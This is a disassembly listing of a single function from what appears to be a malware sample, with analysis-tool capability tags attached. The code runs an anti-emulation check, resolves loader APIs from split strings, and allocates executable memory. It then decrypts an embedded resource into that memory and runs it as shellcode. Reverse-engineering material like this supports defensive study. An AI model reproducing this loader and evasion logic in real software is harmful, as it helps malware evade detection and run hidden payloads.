Function at 0x402890
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x18c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EncryptFileA
push str.Advapi32.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.C:WindowsSetupStateState.ini
call eax
test eax, eax
jne 0x402ef5
push ebx
push ebp
push edi
xor ebx, ebx
push 6
mov edi, 0xf
push str.LdrFin
lea ecx, [esp + 0x150]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10c], 0xa
mov dword [esp + 0x110], 0x1e55
mov dword [esp + 0x114], 0xc0c
mov dword [esp + 0x168], edi
mov dword [esp + 0x164], ebx
mov byte [esp + 0x154], bl
call fcn.00402400
push 5
push str.dReso
lea ecx, [esp + 0x80]
mov dword [esp + 0x98], edi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
call fcn.00402400
push 6
push str.urce_U
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.00402400
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x7c]
push ecx
lea edx, [esp + 0x150]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.004027f0
add esp, 0xc
push eax
lea ecx, [esp + 0x188]
push ecx
call fcn.004027f0
mov eax, dword [esp + 0x150]
mov ebp, 0x10
add esp, 0xc
cmp eax, ebp
jb 0x4029b1
mov edx, dword [esp + 0x130]
push edx
call fcn.0040559d
add esp, 4
push 3
push 0x41125c
lea ecx, [esp + 0xb8]
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
call fcn.00402400
push 5
push str.Acces
lea ecx, [esp + 0xf0]
mov dword [esp + 0x108], edi
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
call fcn.00402400
push 9
push str.sResource
lea ecx, [esp + 0x2c]
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.00402400
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.004027f0
add esp, 0xc
push eax
lea ecx, [esp + 0x118]
push ecx
call fcn.004027f0
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x402a6e
mov edx, dword [esp + 0x130]
push edx
call fcn.0040559d
add esp, 4
push 2
push 0x411244
lea ecx, [esp + 0x9c]
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
call fcn.00402400
push 3
push 0x411240
lea ecx, [esp + 0xd4]
mov dword [esp + 0xec], edi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.00402400
push 4
push str.tdll
lea ecx, [esp + 0x64]
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.00402400
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0x138]
push eax
call fcn.004027f0
add esp, 0xc
push eax
lea ecx, [esp + 0x16c]
push ecx
call fcn.004027f0
mov eax, dword [esp + 0x150]
add esp, 0xc
cmp eax, ebp
jb 0x402b2b
mov edx, dword [esp + 0x130]
push edx
call fcn.0040559d
add esp, 4
push str.ntdll.dll
call esi
mov edi, eax
push str.LdrFindResource_U
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4111f6
push 0x416440
mov dword [0x416330], eax
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
push 0x4111f6
push 0x416440
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
push 0x4111f6
push 0x416440
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
push 0x4111f6
push 0x416440
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
push 0x4111f6
push 0x416440
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
push 0x4111f6
push 0x416440
call fcn.00401ef0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.004021f0
mov ecx, esi
call fcn.00401a70
cmp dword [esp + 0x128], ebp
mov eax, dword [esp + 0x114]
jae 0x402c34
lea eax, [esp + 0x114]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
mov dword [0x41636c], eax
lea eax, [esp + 0x1c]
push eax
push 3
lea ecx, [esp + 0x10c]
push ecx
push 0x400000
call dword [0x416330]
test eax, eax
jl 0x402c7b
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
push 0x400000
call dword [0x41636c]
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualAllocExNuma
push eax
call esi
mov edx, dword [esp + 0x10]
push ebx
push 0x40
push 0x1000
push edx
push ebx
mov dword [0x41635c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41635c]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov edi, eax
mov dword [esp + 0x20], eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0x30
push 0x415070
call fcn.00401690
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x2c]
lea edx, [esp + 0x20]
push edx
push eax
push esi
call fcn.004024f0
add esp, 0x18
call esi
mov ecx, dword [esp + 0x1a0]
push ebx
push 0x401840
push ebx
push 0x65
push ecx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
cmp dword [esp + 0x17c], ebp
jb 0x402d24
mov edx, dword [esp + 0x168]
push edx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x74], ebp
mov esi, 0xf
mov dword [esp + 0x17c], esi
mov dword [esp + 0x178], ebx
mov byte [esp + 0x168], bl
jb 0x402d51
mov eax, dword [esp + 0x60]
push eax
call fcn.0040559d
add esp, 4
cmp dword [esp + 0xe4], ebp
mov dword [esp + 0x74], esi
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
jb 0x402d76
mov ecx, dword [esp + 0xd0]
push ecx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0xac], ebp
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe0], ebx
mov byte [esp + 0xd0], bl
jb 0x402da4
mov edx, dword [esp + 0x98]
push edx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x128], ebp
mov dword [esp + 0xac], esi
mov dword [esp + 0xa8], ebx
mov byte [esp + 0x98], bl
jb 0x402dd2
mov eax, dword [esp + 0x114]
push eax
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x3c], ebp
mov dword [esp + 0x128], esi
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
jb 0x402dfa
mov ecx, dword [esp + 0x28]
push ecx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x100], ebp
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
jb 0x402e1f
mov edx, dword [esp + 0xec]
push edx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0xc8], ebp
mov dword [esp + 0x100], esi
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
jb 0x402e4d
mov eax, dword [esp + 0xb4]
push eax
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x198], ebp
mov dword [esp + 0xc8], esi
mov dword [esp + 0xc4], ebx
mov byte [esp + 0xb4], bl
jb 0x402e7b
mov ecx, dword [esp + 0x184]
push ecx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x58], ebp
mov dword [esp + 0x198], esi
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], bl
jb 0x402ea3
mov edx, dword [esp + 0x44]
push edx
call fcn.0040559d
add esp, 4
cmp dword [esp + 0x90], ebp
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
jb 0x402ec5
mov eax, dword [esp + 0x7c]
push eax
call fcn.0040559d
add esp, 4
mov eax, dword [esp + 0x160]
pop edi
cmp eax, ebp
pop ebp
mov dword [esp + 0x84], ebx
mov byte [esp + 0x74], bl
mov dword [esp + 0x88], esi
pop ebx
jb 0x402ef5
mov ecx, dword [esp + 0x140]
push ecx
call fcn.0040559d
add esp, 4
xor eax, eax
pop esi
add esp, 0x18c
ret 0x10